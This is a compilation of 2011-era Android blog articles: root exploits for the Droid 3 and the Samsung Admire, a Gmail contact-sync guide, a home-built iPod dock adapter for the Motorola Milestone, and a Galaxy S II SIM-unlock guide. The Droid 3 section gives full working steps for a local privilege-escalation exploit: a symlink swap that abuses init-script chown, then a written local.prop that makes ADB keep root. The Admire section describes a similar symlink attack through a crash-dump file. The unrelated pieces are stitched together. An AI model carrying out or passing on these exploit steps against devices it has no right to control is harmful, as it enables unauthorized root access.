Rooting the Droid 3

The Motorola Droid 3 was released July 14, 2011, and has no public technique available to get root access. On request of some members of the Android community, I decided to audit the platform in order to root the device.

Update: this exploit is also confirmed to work on the Droid X, Droid X2, Droid Cliq, Droid Cliq 2, Droid 2, and Droid Bionic.

The Bug

I identified a vulnerability specific to Motorola devices in the script parsed by the init thread (this is existing code, not commands for you to run):

mkdir /data/local 0771 mot_tcmd shell
    mkdir /data/local/tmp 0771 mot_tcmd shell
    mkdir /data/local/12m 0771 mot_tcmd shell
    mkdir /data/local/12m/batch 0771 mot_tcmd shell
    chown mot_tcmd shell /data/local
    chown mot_tcmd shell /data/local/12m
    chown mot_tcmd shell /data/local/12m/batch
    chown mot_tcmd shell /data/local/tmp

Since the contents of /data/local are group “shell” and group-writable, we can modify the contents of this directory using ADB. By logging into the device and replacing one of the sub-directories listed here with a symbolic link, then when the device reboots it will change the ownership of the symlink target to group “shell”. This can be used to edit property files to manipulate the behavior of ADB to achieve root.

So, without further ado:

The Exploit

Log in to the device using “adb shell” and type the following commands:

mv /data/local/12m /data/local/12m.bak
ln -s /data /data/local/12m

Next, physically reboot the device by pressing the power button. When it wakes up, log in using “adb shell” again, and type the following:

rm /data/local/12m
mv /data/local/12m.bak /data/local/12m
mv /data/local.prop /data/local.prop.bak
echo "ro.sys.atvc_allow_netmon_usb=0" > /data/local.prop
echo "ro.sys.atvc_allow_netmon_ih=0" >> /data/local.prop
echo "ro.sys.atvc_allow_res_core=0" >> /data/local.prop
echo "ro.sys.atvc_allow_res_panic=0" >> /data/local.prop
echo "ro.sys.atvc_allow_all_adb=1" >> /data/local.prop
echo "ro.sys.atvc_allow_all_core=0" >> /data/local.prop
echo "ro.sys.atvc_allow_efem=0" >> /data/local.prop
echo "ro.sys.atvc_allow_bp_log=0" >> /data/local.prop
echo "ro.sys.atvc_allow_ap_mot_log=0" >> /data/local.prop
echo "ro.sys.atvc_allow_gki_log=0" >> /data/local.prop

The ro.sys.atvc_allow_all_adb property is a Motorola-specific configuration that prevents ADB from dropping its root privileges. Reboot the device one final time, and on logging in with “adb shell”, you should be presented with a root prompt. Enjoy!

Thanks to mkultramega, Toaday, and zdooder for testing, KrazyKrivda for raising funds, scottml and Edgan for bouncing ideas, and rweb for convincing me to look at Droid 3 in the first place.

Rooting the Samsung Admire

On request of the Samsung Admire community, I decided to root another Android phone.

Update: this exploit is also confirmed to work on the Samsung Galaxy Prevail.

The bug I ended up using is humorously similar to the one I used on the Droid 3. I found that whenever an application crashes (via segmentation fault, etc.) a dump file is created at /data/log/dumpState_app_native.log by root, with world-writable permissions. This file’s parent directory is world-writable, so by placing a symbolic link at this location and causing a program to crash, it’s possible to create a world-writable file anywhere on disk.

The Samsung Admire conveniently doesn’t have an existing /data/local.prop, the properties file I leveraged with Droid 3 to get root, allowing us to create our own. The Motorola-specific property I used to prevent ADB from dropping privileges on Droid 3 obviously won’t work here, but the ro.kernel.qemuproperty will accomplish the same thing.

You can download a one-click root script for Linux and OS X here. Feel free to e-mail me if you find this exploit works on other Samsung phones, and I’ll update this post.

Update: thanks to k0nane, a Windows version is available here.

A Guide To Managing & Syncing Your Google Android Phone Contacts

Google Android Phones are mobile devices powered by a Google operating system. They are different from other mobile devices because they allow for open source programming. Open source programming allows users to develop programming software for use on the device. These programs can range from games for entertainment purposes to helpful application to help manage daily tasks.
All of the applications can be accessed through the Google Android Market.There are thousands of free and paid applications, with the amount growing daily. All of the paid applications can be purchased using Google Checkout.Since the device is powered by Google it offers access to popular Google applications such as; Google Earth, Google Latitude, Google Sky, YouTube, Gmail, Google Translate and several others. Most of the Google Android devices offer up to 5 Mega Pixel cameras and the capability to upload videos directly to YouTube.
There are currently a number of Android handsets running  different software versions including, the Eclair and Cupcake updates. Since the release of the first Android phone with T-Mobile, Android devices have increased in popularity due to being a fully customizable and user friendly interface. All of the Google Android devices offer a full touch screen device with either a full or virtual QWERTY keyboard. Google is now providing Android devices for Verizon Wireless as well as Sprint.
Creating and managing contacts for Android devices is very simple since the phone is powered by Google. Here are the things needed to complete this task:
1. Google Android device
2. Active Gmail account
3. List of phone contacts

Log in to your Gmail account
First you will need to log into the Gmail account. Once logged in select the contact link on the left hand side of the screen.Clicking on the link will take you to the contact management area. in the upper left hand side of the screen there will be a plus sign icon. Click on this icon to create a new contact. Input all of the contact information and once finished click the save link. Repeat this process until all of the contacts needed have been saved.
Next from your active Android device log into the Gmail account where the contacts are stored. Once logged in go to the main menu on the device and select the contacts icon. Under contacts select the menu/options icon to bring up a list of available options. Under this list you will see an option for accounts. Select accounts, this will bring up all of the active e-mail accounts set up on the phone. Under the list of e-mail accounts select the Gmail account. Once the account is selected turn on the sync contacts option.
Now that the account is synced with the phone all of the contacts will be transferred to the device.

Syncing your contacts with your Android phone
Syncing your Gmail account to your Google Android device is the easiest way to maintain your contacts. It allows you to have a backup of all of the contacts in the device stored within the Gmail system. This is extremely helpful in cases of lost, stolen or damaged phones. With standard phones the only way to retrieve contacts is through the device itself. With the Google Android phone the device is not need to restore the contacts. Once the email account is registered in the replacement device the contacts can be retrieved following the same easy steps. Also once the device is synced with Gmail, any new phone contacts that are placed directly on the phone will be saved to the Gmail account automatically.
The easy and intuitive nature of the phone is one of the reasons that more and more wireless users are considering Google Android Devices the perfect device for them. The Google Android devices allow the user to have the synching capabilities of a traditional PDA/Smart device with a simple to use interface.To prove this Verizon has positioned their new Google Android phone, the Motorola Droid, as a phone that “Does” in a world of Doesn’t. With the introduction of even more Android devices, manufacturers such as Palm and Blackberry are trying to find ways to keep up with and surpass the Google Android devices.

iPod dock adapter for Motorola Droid/Milestone

Manufacturers of electronic devices don’t seem to be able to get a global standard on docking connectors, resulting in that youusually end up buying a new dock for every electronic device you acquire. In the past I bought multiple iPod docks (also see my other article about bypassing the Apple video out protection on older docks here), but I own more devices than just the ones from Apple. My current mobile phone is a Motorola Milestone (or Droid if you are from the US), which of course does not fit on an iPod dock. Not willing to buy new docks I decided to build an adapter to enable me to use my iPod docks with my mobile phone. This article will describe step-by-step how I have built this dock adapter.

Because I am from Europe (the Netherlands to be precise) my Motorola device is named a Milestone, but the whole article of course is just as applicable to the Motorola Droid. For the ease of use I will just refer to the ‘Motorola Milestone’ in this article from now on. However, the methodology that this article contains could, in theory, be applied to almost all Android devices.

Since all the information in this document is gathered from the internet or analyzed by myself it could be that there are some errors in this document, I am sorry if that is the case. Any opinion expressed in this document is solely my own.

Goals

The goal of this project is to create a dock adapter which enables the Motorola Milestone to charge, output music and switch to docking (multimedia) mode. The Motorola Milestone charges through the micro USB connector on its side. To enable charging through our dock adapter we will need to equip it with a micro USB connector.

Since the Motorola Milestone does not provide audio output through the micro USB connector, we will have to use the headphone connector on the top of the device to enable audio out.

To enable automatic switching to docking mode on the Motorola Milestone the device is equipped with a magnetic sensor. When a magnet is placed against a certain location on the device it will recognize the dock type (Media or Car) by the polarization of the magnet. With some testing I found the best location for the magnet is at the back of the device above the micro USB connector and a bit to the right. This location is shown on the picture below which shows the back of the Motorola Milestone.

Using a magnet in our dock adapter will enable us to use the multimedia docking mode.

So, our dock connector will need to have a micro USB and audio connector as well as a magnet in it. The last part to enable us to connect it to the iPod dock will of course be a connector which fits the iPod dock itself. The schematic design for the dock adapter is shown in the next image.

Parts

This chapter will list all the parts that are needed to create the dock adapter. The specific parts used in this document might not be the most obvious, but they were cheap and available at the time of executing this project.

iPod dock connector

Since good dock connectors seem to be quite expensive and hard to find, I decided to buy a cheap Dock extender cable and harvest the connector from that. The Dock extender cable has been bought from DealExtreme for just $3.14:

Dock Extender Male/Female Cable for All iPod/iPhone 2G/3G

http://www.dealextreme.com/details.dx/sku.21892

The dock connector from this cable has almost all the pins available to make use of and provides nice solder pads to connect wires to. Since this is not always the case it is good to keep this in mind when looking for a suitable dock connector.

3,5 mm stereo audio plug

The audio cable I used in this project was one I had lying around. It suited this project fine since it had an angled jack connector, which I preferred. An alternative cable could be bought from DealExtreme for just $1.80:

3.5mm Male to 3.5mm + 2.5mm Audio Male Audio Cable

http://www.dealextreme.com/details.dx/sku.39763

Of course any 3,5 mm stereo audio plug will be fine.

Micro USB connector

The Micro USB connector I used in this project has been harvested from a headphone adapter for another Motorola device. I bought this connector with the hope it would enable audio out from the micro USB port of the Motorola Milestone (which it of course did not). This adapter has been bought from DealExtreme for just $2.27:

3.5mm Stereo Audio Headphone Adapter For Motorola V8/V9

http://www.dealextreme.com/details.dx/sku.30099

Of course any micro USB connector will be fine.

Magnets

To enable the docking mode on the Motorola Milestone we will need some magnets, the following magnets from DealExtreme will suit our needs just fine for only $2.09:

Super-Strong Rare-Earth RE Magnets (10-Pack 9 mm)

http://www.dealextreme.com/details.dx/sku.3461

I ended up using four out of the ten magnets.

Polymorph

To create the encasing of the dock adapter we will use Polymorph, which is a polymer that can easily be moulded when heated at moderate temperatures. Polymorph is great stuff for prototyping and can be remoulded time after time. I bought my Polymorph from eBay, but it can be found at various places online. Some more info can be found on the website of the company I bought it from:

http://www.c-d-c-shop.com/polymorph.htm

Pin outs

Before we can start to build the dock we will need the pinouts of the various components. This chapter will show the pinouts for all the components used.

3.5mm stereo audio plug pinout

The following image shows the pinout of the 3.5mm stereo audio plug:

The pinout for the 3.5mm stereo audio plug can also be found online at:

• http://pinouts.ru/Home/Tele35s_pinout.shtml

Micro USB pinout

The following image shows the pinout of the micro USB plug from the Motorola Milestone side, not the cable side. The cable side is the same pinout in opposite direction.

The pinout for the micro USB connector can also be found online at:

• http://pinoutsguide.com/CellularPhones-Nokia/micro_usb_connector_pinout.shtml

Dock connector pinout

The following image shows the pinout of the Apple iPod dock connector on the board we will be using to create our adapter.

The pinout for the iPod dock connector can also be found online at:

• http://pinouts.ru/PortableDevices/ipod_pinout.shtml

Wiring

Now that we have all the pinouts for the components we can now see how we should wire the components together. The table below shows which pins should be connected together.

Component	Connector	Wire colour	Connected to
3,5 mm stereo	GND (audio)	Metal	Dock 2
	Audio right	Red	Dock 3
	Audio left	White	Dock 4
Micro USB	Vcc	Red	Dock 16
	GND (USB)	Copper	Dock 23
	Data -	Green – Blue	Data +

The colours mentioned in the table refer to the wire colours of the components named in this article, when using other components these wire colours will probably be different.

To enable the Motorola Milestone to accept the power on the USB port, the USB Data- and Data+ connections should be linked to each other. Without these points connected the device will not charge.

The following image shows the wiring inside our dock adapter:

Building the adapter

Having the different components, the design and the wiring schematics, it is now time to actually build the adapter. After soldering the components together I shortened the original dock encasing a bit because it was larger than needed. To hold everything together I filled the dock encasing with hot glue, resulting in the prototype shown below.

Polymorph encasing

The prototype showed above already works as a dock adapter however it does not hold the Motorola Milestone in its place. To build an encasing for the dock adapter that holds the Motorola Milestone in its place we will be using Polymorph.

Polymorph consists of small plastic pellets which can be melted in hot water. My general approach is to melt the pellets in hot water, press them together and making small sheets of plastic of it. These plastic sheets can be cut with scissors to preferred sizes. I personally like to use a hot air gun to melt these sheets again and then use them in the project. The encasing of the adapter has been made of multiple layers of Polymorph which have been melted together. The encasing also holds the magnets for the docking mode option.

Result

The following images show the end result of our Motorola Milestone iPod dock adapter.

When the Motorola Milestone is connected to the adapter it will go into multimedia docking mode right away and start charging. After connecting the audio cable to the headphone connector it will output its audio to the dock as well. The Motorola Milestone is standing solid on the adapter and works great.

This article showed how to build an iPod dock adapter for the Motorola Milestone, however this information can easily be used to create adapters for other devices as well. If anyone is going to build a similar adapter for the Motorola Milestone or another device, I am for sure interested to know about it.

The adapter that I have built might not be the quality of an official one, but it is of course a prototype and it works pretty well. It probably is not going to happen, but I would really appreciate if any company out there would just build and sell adapters like this.

We at TalkAndroid would like to give a big thanks to Thijs (Thice) Bosschert for creating this guide and allowing us to republish it on our site. Thanks Thijs!

How To Unlock Samsung Galaxy S II android Smartphone?

The Samsung Galaxy S II is the phone the Korean firm deems the successor to its best smartphone so far. And with a 1.2GHz processor, super-slim chassis and feather-light innards, it’s easy to see why. The dual-core race is set to heat up massively over the next few months, with the LG Optimus 2X already released, and the Motorola Atrix, HTC Sensation and iPhone 5 all set to bring the tech to market too.
Unlocking the Samsung Galaxy S2 requires an unlock code. An Samsung Galaxy S 2 unlocked should work on any GSM phone networks or carrier. Most GSM or SIM based cell phones come with a SIM lock which prevents them form working with unaccepted carriers. The unlock code should remove the SIM lock on your Samsung Galaxy S II.
In order to get a Samsung Galaxy S2 unlock code, I would first contact your phone carrier’s support line and request one. Sometimes they will give you one for free and in exchange will need your Samsung Galaxy S 2’s IMEI number. You can get this number simply by entering *#06# on your phone’s keypad and then pressing enter. If you cannot attain a free Samsung unlocking code, then you can go for a trusted online vendor like UnlockGenie.com
You should now be able to use your unlock code and the steps below to fully unlock your Samsung Galaxy S II to other carriers. Enjoy!
How To Unlock Samsung Galaxy S II
1. Power on your Samsung mobile phone with an unaccepted SIM card inserted.
2. Your Samsung mobile will prompt you for a password (unlock code).
3. Enter your Samsung unlock code.
Otherwise, if your Samsung mobile phone displays “Insert Correct SIM Card” then:
1. Turn on your Samsung phone with an UNACCEPTED SIM card inserted.
2. Type: #7465625*638*CODE# (Where CODE is your Samsung unlock code.
If you would like to leave your own Samsung Galaxy S2 review or need some help unlocking your cell phone, then please feel free to leave a comment below. Thanks and good luck!